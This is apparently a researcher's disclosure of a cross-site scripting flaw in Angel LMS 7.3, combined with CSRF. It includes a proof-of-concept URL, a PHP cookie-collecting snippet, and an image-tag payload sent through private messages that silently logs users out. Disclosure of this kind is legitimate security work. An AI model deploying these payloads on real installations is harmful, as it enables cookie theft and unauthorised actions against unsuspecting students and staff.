I have discovered a security exploit in Angel LMS 7.3
"Colleges and universities worldwide choose the ANGEL LMS to deliver powerful online teaching and learning experiences. ANGEL provides the comprehensive LMS features institutions need in a simple interface that promotes adoption. A recognized innovator, you can count on ANGEL to deliver on the promise of technology to improve education:"
Here are the relevant technical details.
This exploit can also be used in combination with "Cross Site Request Forgery". Meaning if the session data in the cookie was made HTTPOnly (which it isn't) then the exploit could be used to undergo any action of the privileged user regardless.
PROOF OF CONCEPT:
https://[Angel Root]/portal/pdaview.asp?p_TS= 85546&p_id=InTouchMail&pdaback=%22%3Cbody%20onload=alert%28%22pwnt%22%29;%3E?p_TS=85546
the second part un url-encoded: <body onload=alert("pwnt");>
(Note that the plus sign is url-encoded, or else it will not work)
$pwnt = $_GET["cookie"]; $list = fopen('test.txt', 'a'); fwrite($list, $pwnt."\n"); fclose($list);
Image tag version with CSRF, this can be sent through the Private Message system and logs out the user who opens it:
<p><img width="0" height="0" src="/portal/pdaview.asp?p_TS=85546&p_id=InTouchMail&pdaback="<body onload=document.location="https://[Angel Root]/signon/logout.asp";>?p_TS=85546" alt="" /></p>
The script makes a GET request to the url containing the exploit, which then redirects the user to the logout url (which requires no verification). This is a contrived example because you could put the login url there directly, but it showcases the dangers of CSRF and XSS together, because of a lack of checking to see whether a request is legitimate (beyond the cookies of a user) and the fact that POST based requests can be automated using XSS means the only limit is your imagination. This example all happens without the user's knowledge, and without seeing anything but a blank message. If they try to open another message or do anything after, they will receive an error message.